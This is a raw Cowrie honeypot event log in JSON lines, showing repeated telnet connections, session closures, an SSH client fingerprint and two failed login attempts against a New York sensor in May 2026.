{"eventid":"cowrie.session.closed","duration":33.04239082336426,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:36.887284Z","src_ip":"209.159.146.115","session":"03877c5c0516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49808,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31ae8c5efd4","protocol":"telnet","message":"New connection: 209.159.146.115:49808 (159.203.135.109:23) [session: a31ae8c5efd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:36.998468Z"}
{"eventid":"cowrie.session.closed","duration":32.511937379837036,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:37.337032Z","src_ip":"209.159.146.115","session":"d13ab622bfe4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"x","message":"login attempt [postgres/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:37.494594Z","src_ip":"103.180.212.135","session":"215b204b81c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50960,"dst_ip":"159.203.135.109","dst_port":23,"session":"e70b1a5fc434","protocol":"telnet","message":"New connection: 209.159.146.115:50960 (159.203.135.109:23) [session: e70b1a5fc434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:37.822473Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:38.693426Z","src_ip":"103.180.212.135","session":"215b204b81c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57958,"dst_ip":"159.203.135.109","dst_port":23,"session":"5191401c2d5d","protocol":"telnet","message":"New connection: 209.159.146.115:57958 (159.203.135.109:23) [session: 5191401c2d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:39.384942Z"}
{"eventid":"cowrie.session.closed","duration":37.47967290878296,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:39.886109Z","src_ip":"209.159.146.115","session":"a47d39f53da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42652487754822,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:40.031380Z","src_ip":"209.159.146.115","session":"c6faea1429e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c7293e4a665","protocol":"telnet","message":"New connection: 209.159.146.115:35018 (159.203.135.109:23) [session: 0c7293e4a665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:40.226804Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57828,"dst_ip":"159.203.135.109","dst_port":23,"session":"cccba6abe0c3","protocol":"telnet","message":"New connection: 209.159.146.115:57828 (159.203.135.109:23) [session: cccba6abe0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:40.348530Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36812,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d2271d56b9","protocol":"telnet","message":"New connection: 209.159.146.115:36812 (159.203.135.109:23) [session: 99d2271d56b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:40.649622Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41084,"dst_ip":"159.203.135.109","dst_port":23,"session":"a719577470bb","protocol":"telnet","message":"New connection: 209.159.146.115:41084 (159.203.135.109:23) [session: a719577470bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:41.223407Z"}
{"eventid":"cowrie.session.closed","duration":38.22406625747681,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:42.859912Z","src_ip":"209.159.146.115","session":"0b63730fee58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25662660598755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:44.815880Z","src_ip":"209.159.146.115","session":"d8d05ee778f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54032,"dst_ip":"159.203.135.109","dst_port":23,"session":"80ff8394e552","protocol":"telnet","message":"New connection: 209.159.146.115:54032 (159.203.135.109:23) [session: 80ff8394e552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:45.314980Z"}
{"eventid":"cowrie.session.closed","duration":35.326892137527466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:47.211701Z","src_ip":"209.159.146.115","session":"88120a8baa61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.853291273117065,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:47.599167Z","src_ip":"209.159.146.115","session":"64dbf8ae7a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33308,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1e43d6962a2","protocol":"telnet","message":"New connection: 209.159.146.115:33308 (159.203.135.109:23) [session: c1e43d6962a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:47.844057Z"}
{"eventid":"cowrie.session.closed","duration":31.413281440734863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:48.330051Z","src_ip":"209.159.146.115","session":"ff42125c375a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35058,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad97e4e4545c","protocol":"telnet","message":"New connection: 209.159.146.115:35058 (159.203.135.109:23) [session: ad97e4e4545c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:48.387734Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35906,"dst_ip":"159.203.135.109","dst_port":23,"session":"518509fe0580","protocol":"telnet","message":"New connection: 209.159.146.115:35906 (159.203.135.109:23) [session: 518509fe0580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:48.649269Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38198,"dst_ip":"159.203.135.109","dst_port":23,"session":"25308dd7ac7e","protocol":"telnet","message":"New connection: 209.159.146.115:38198 (159.203.135.109:23) [session: 25308dd7ac7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:49.424930Z"}
{"eventid":"cowrie.session.closed","duration":37.07040548324585,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:49.555059Z","src_ip":"209.159.146.115","session":"d64425c66aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38730,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5042d448562","protocol":"telnet","message":"New connection: 209.159.146.115:38730 (159.203.135.109:23) [session: d5042d448562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:49.600442Z"}
{"eventid":"cowrie.session.closed","duration":38.80047082901001,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:49.942864Z","src_ip":"209.159.146.115","session":"cc1800b4a15c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44920,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eec105d77a3","protocol":"telnet","message":"New connection: 209.159.146.115:44920 (159.203.135.109:23) [session: 0eec105d77a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:51.431570Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45576,"dst_ip":"159.203.135.109","dst_port":23,"session":"938cd7977bc7","protocol":"telnet","message":"New connection: 209.159.146.115:45576 (159.203.135.109:23) [session: 938cd7977bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:51.554341Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"f613ef1a3dd4","protocol":"telnet","message":"New connection: 209.159.146.115:32820 (159.203.135.109:23) [session: f613ef1a3dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:55.766360Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33090,"dst_ip":"159.203.135.109","dst_port":23,"session":"176d14aa1386","protocol":"telnet","message":"New connection: 209.159.146.115:33090 (159.203.135.109:23) [session: 176d14aa1386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:55.815590Z"}
{"eventid":"cowrie.session.closed","duration":33.506611347198486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:55.873106Z","src_ip":"209.159.146.115","session":"1c5b799df153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85699701309204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:56.546449Z","src_ip":"209.159.146.115","session":"6f59fb39cd08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.182579040527344,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:58.178849Z","src_ip":"209.159.146.115","session":"83a3c5531dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20124268531799,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:58.588351Z","src_ip":"209.159.146.115","session":"f8b7bfd57e2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47076,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd143e112534","protocol":"telnet","message":"New connection: 209.159.146.115:47076 (159.203.135.109:23) [session: bd143e112534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:59.334524Z"}
{"eventid":"cowrie.session.closed","duration":30.87145233154297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:48:59.541799Z","src_ip":"209.159.146.115","session":"872b52715ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78053140640259,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:01.222932Z","src_ip":"209.159.146.115","session":"8df402732243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.92135405540466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:01.327841Z","src_ip":"209.159.146.115","session":"97b382543464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.577759742736816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:01.910294Z","src_ip":"209.159.146.115","session":"f33927a0d70b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.61325430870056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:02.482074Z","src_ip":"185.26.126.47","session":"a981d35c8aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00245809555054,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:02.771858Z","src_ip":"45.6.79.189","session":"2e0693ead3a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40996,"dst_ip":"159.203.135.109","dst_port":23,"session":"45186201438c","protocol":"telnet","message":"New connection: 209.159.146.115:40996 (159.203.135.109:23) [session: 45186201438c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:03.153420Z"}
{"eventid":"cowrie.session.closed","duration":31.71604561805725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:03.266573Z","src_ip":"209.159.146.115","session":"044ed38cd53f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":39372,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe65e3157967","protocol":"telnet","message":"New connection: 45.6.79.189:39372 (159.203.135.109:23) [session: fe65e3157967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:03.284879Z"}
{"eventid":"cowrie.session.closed","duration":36.55987000465393,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:03.888537Z","src_ip":"209.159.146.115","session":"8bca2746e505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45154,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc617be69bd0","protocol":"telnet","message":"New connection: 209.159.146.115:45154 (159.203.135.109:23) [session: bc617be69bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:04.281307Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34500,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fba605b1f2b","protocol":"ssh","message":"New connection: 159.203.92.129:34500 (159.203.135.109:22) [session: 7fba605b1f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:04.585926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:04.591069Z","src_ip":"159.203.92.129","session":"7fba605b1f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:04.595592Z","src_ip":"159.203.92.129","session":"7fba605b1f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andromeda","password":"andromeda","message":"login attempt [andromeda/andromeda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:04.610125Z","src_ip":"159.203.92.129","session":"7fba605b1f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34862,"dst_ip":"159.203.135.109","dst_port":23,"session":"e67093ddafe2","protocol":"telnet","message":"New connection: 209.159.146.115:34862 (159.203.135.109:23) [session: e67093ddafe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:04.867694Z"}
{"eventid":"cowrie.session.closed","duration":120.00165820121765,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:05.255944Z","src_ip":"45.6.79.189","session":"3ad11e64c0c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:05.619651Z","src_ip":"159.203.92.129","session":"7fba605b1f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":39462,"dst_ip":"159.203.135.109","dst_port":23,"session":"45e3249ce840","protocol":"telnet","message":"New connection: 45.6.79.189:39462 (159.203.135.109:23) [session: 45e3249ce840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:05.769247Z"}
{"eventid":"cowrie.session.closed","duration":31.11222243309021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:07.291750Z","src_ip":"209.159.146.115","session":"8d830c408cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":37599,"dst_ip":"159.203.135.109","dst_port":23,"session":"89346da397bc","protocol":"telnet","message":"New connection: 45.6.79.189:37599 (159.203.135.109:23) [session: 89346da397bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:07.533711Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36380,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d34b000929","protocol":"telnet","message":"New connection: 209.159.146.115:36380 (159.203.135.109:23) [session: c8d34b000929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:07.795950Z"}
{"eventid":"cowrie.session.closed","duration":34.13568830490112,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:08.133027Z","src_ip":"209.159.146.115","session":"e3331a588b40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197412967681885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:08.195754Z","src_ip":"209.159.146.115","session":"a31ae8c5efd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37712,"dst_ip":"159.203.135.109","dst_port":23,"session":"98225d405c0f","protocol":"telnet","message":"New connection: 209.159.146.115:37712 (159.203.135.109:23) [session: 98225d405c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:08.206553Z"}
{"eventid":"cowrie.session.closed","duration":34.006349325180054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:09.177022Z","src_ip":"209.159.146.115","session":"d8a22a31cf3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56258511543274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:09.384962Z","src_ip":"209.159.146.115","session":"e70b1a5fc434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41974,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d8b4efe22e","protocol":"telnet","message":"New connection: 209.159.146.115:41974 (159.203.135.109:23) [session: 85d8b4efe22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:09.416102Z"}
{"eventid":"cowrie.session.closed","duration":32.88601207733154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:13.535475Z","src_ip":"209.159.146.115","session":"99d2271d56b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60537,"dst_ip":"159.203.135.109","dst_port":23,"session":"34f3cb85e9e8","protocol":"telnet","message":"New connection: 209.159.146.115:60537 (159.203.135.109:23) [session: 34f3cb85e9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:13.895106Z"}
{"eventid":"cowrie.session.closed","duration":34.15410757064819,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:14.380764Z","src_ip":"209.159.146.115","session":"0c7293e4a665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8626570deb0","protocol":"telnet","message":"New connection: 209.159.146.115:36460 (159.203.135.109:23) [session: b8626570deb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:14.927228Z"}
{"eventid":"cowrie.session.closed","duration":36.26616024971008,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:15.650985Z","src_ip":"209.159.146.115","session":"5191401c2d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.62068319320679,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:15.843999Z","src_ip":"209.159.146.115","session":"a719577470bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41233253479004,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:16.760766Z","src_ip":"209.159.146.115","session":"cccba6abe0c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34710502624512,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:18.661985Z","src_ip":"209.159.146.115","session":"80ff8394e552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54286,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eefa2fcee1a","protocol":"telnet","message":"New connection: 209.159.146.115:54286 (159.203.135.109:23) [session: 6eefa2fcee1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:18.724245Z"}
{"eventid":"cowrie.session.closed","duration":31.536980628967285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:19.380933Z","src_ip":"209.159.146.115","session":"c1e43d6962a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59562,"dst_ip":"159.203.135.109","dst_port":23,"session":"00009343a457","protocol":"telnet","message":"New connection: 209.159.146.115:59562 (159.203.135.109:23) [session: 00009343a457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:20.301734Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60816,"dst_ip":"159.203.135.109","dst_port":23,"session":"d185aa46c00a","protocol":"telnet","message":"New connection: 209.159.146.115:60816 (159.203.135.109:23) [session: d185aa46c00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:20.668055Z"}
{"eventid":"cowrie.session.closed","duration":32.912808656692505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:21.300458Z","src_ip":"209.159.146.115","session":"ad97e4e4545c","protocol":"telnet"}
